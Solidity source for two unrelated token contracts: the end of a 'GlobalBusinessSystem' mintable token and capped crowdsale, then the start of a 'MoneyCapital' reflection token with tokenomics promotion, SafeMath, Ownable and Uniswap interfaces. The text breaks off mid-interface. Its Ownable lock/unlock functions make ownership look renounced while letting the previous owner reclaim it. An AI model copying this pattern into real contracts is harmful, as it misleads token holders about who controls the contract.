// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract ReleasableToken is MintableToken {
/* The finalizer contract that allows unlift the transfer limits on this token */
address public releaseAgent;
/** A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/
bool public released = false;
/** Map of agents that are allowed to transfer tokens regardless of the lock down period. These are crowdsale contracts and possible the team multisig itself. */
mapping (address => bool) public transferAgents;
/**
* Limit token transfer until the crowdsale is over.
*
*/
modifier canTransfer(address _sender) {
if(!released) {
if(!transferAgents[_sender]) {
throw;
}
}
_;
}
/**
* Set the contract that can call release and make the token transferable.
*
* Design choice. Allow reset the release agent to fix fat finger mistakes.
*/
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
// We don't do interface check here as we might want to a normal wallet address to act as a release agent
releaseAgent = addr;
}
/**
* Owner can allow a particular address (a crowdsale contract) to transfer tokens despite the lock up period.
*/
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
/**
* One way function to release the tokens to the wild.
*
* Can be called only from the release agent that is the final ICO contract. It is only called if the crowdsale has been success (first milestone reached).
*/
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
/** The function can be called only before or after the tokens have been releasesd */
modifier inReleaseState(bool releaseState) {
if(releaseState != released) {
throw;
}
_;
}
/** The function can be called only by a whitelisted release agent. */
modifier onlyReleaseAgent() {
if(msg.sender != releaseAgent) {
throw;
}
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
// Call StandardToken.transfer()
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
// Call StandardToken.transferForm()
return super.transferFrom(_from, _to, _value);
}
}
/**
* @title SimpleToken
* @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator.
*/
contract GlobalBusinessSystemToken is ReleasableToken {
string public constant name = "Global Business System Token";
string public constant symbol = "GBST";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 0;
/**
* @dev Contructor that gives msg.sender all of existing tokens.
*/
function GlobalBusinessSystemToken() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
setReleaseAgent(msg.sender);
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
uint bonusPeriod = 7;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) {
//require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != 0x0);
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
uint256 bonusTokens = 0;
if(now < (startTime + bonusPeriod * 1 days)) {
bonusTokens = tokens.div(5); //20%
}
tokens += bonusTokens;
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
bool minValue = msg.value >= 10000000000000000;
return withinPeriod && nonZeroPurchase && minValue;
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
return now > endTime;
}
}
/**
* @title CappedCrowdsale
* @dev Extension of Crowsdale with a max amount of funds raised
*/
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) {
require(_cap > 0);
cap = _cap * 1000000000000000000;
}
// overriding Crowdsale#validPurchase to add extra cap logic
// @return true if investors can buy at the moment
function validPurchase() internal constant returns (bool) {
bool withinCap = weiRaised.add(msg.value) <= cap;
return super.validPurchase() && withinCap;
}
// overriding Crowdsale#hasEnded to add cap logic
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
bool capReached = weiRaised >= cap;
return super.hasEnded() || capReached;
}
}
/**
* @title FinalizableCrowdsale
* @dev Extension of Crowsdale where an owner can do extra work
* after finishing.
*/
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
/**
* @dev Must be called after crowdsale ends, to do some extra finalization
* work. Calls the contract's finalization function.
*/
function finalize() onlyOwner {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
/**
* @dev Can be overriden to add finalization logic. The overriding function
* should call super.finalization() to ensure the chain of finalization is
* executed entirely.
*/
function finalization() internal {
}
}
/**
* @title SampleCrowdsale
* @dev This is an example of a fully fledged crowdsale.
* The way to add new features to a base crowdsale is by multiple inheritance.
* In this example we are providing following extensions:
* CappedCrowdsale - sets a max boundary for raised funds
*
* After adding multiple features it's good practice to run integration tests
* to ensure that subcontracts works together as intended.
*/
contract GlobalBusinessSystem is CappedCrowdsale,FinalizableCrowdsale {
function GlobalBusinessSystem(uint256 _startTime, uint256 _endTime, uint256 _rate, uint256 _cap, address _wallet)
CappedCrowdsale(_cap)
FinalizableCrowdsale()
Crowdsale(_startTime, _endTime, _rate, _wallet)
{
//As goal needs to be met for a successful crowdsale
//the value needs to less or equal than a cap which is limit for accepted funds
//require(_goal <= _cap);
}
function createTokenContract() internal returns (MintableToken) {
return new GlobalBusinessSystemToken();
}
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/**
*Submitted for verification at Etherscan.io on 2021-11-28
*/
/**
*Submitted for verification at Etherscan.io on 2021-11-27
*/
/*
MoneyCapital: M
- The aggregator of aggregators. Granting holders exposure to a range of cross chain yield generating tokens.
- Buy one token (M) to earn yield generated from multiple other aggregator projects.
Tokenomics:
10% of each buy goes to existing holders (reflection).
10% of each sell is divided into:
4% Marketing Wallet: For marketing, growth and promotion of M.
4% Treasury Wallet: Invests in multi-chain farming projects to redirect yield into buy backs of M.
2% Auto-Adds Liquidity: Automatically adds liquidity to M.
Website: MoneyCapital.org
Telegram: https://t.me/MoneyCapitalOfficial
C
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
enum PairType {Common, LiquidityLocked, SweepableToken0, SweepableToken1}
interface IEmpirePair {
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function sweptAmount() external view returns (uint256);
function sweepableToken() external view returns (address);
function liquidityLocked() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(
address,
address,
PairType,
uint256
) external;
function sweep(uint256 amount, bytes calldata data) external;
function unsweep(uint256 amount) external;
function getMaxSweepable() external view returns (uint256);
}
interface IEmpireFactory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function createPair(
address tokenA,
address tokenB,
PairType pairType,
uint256 unlockTime
) external returns (address pair);
function createEmpirePair(
address tokenA,
address tokenB,
PairType pairType,
uint256 unlockTime
) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IEmpireRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
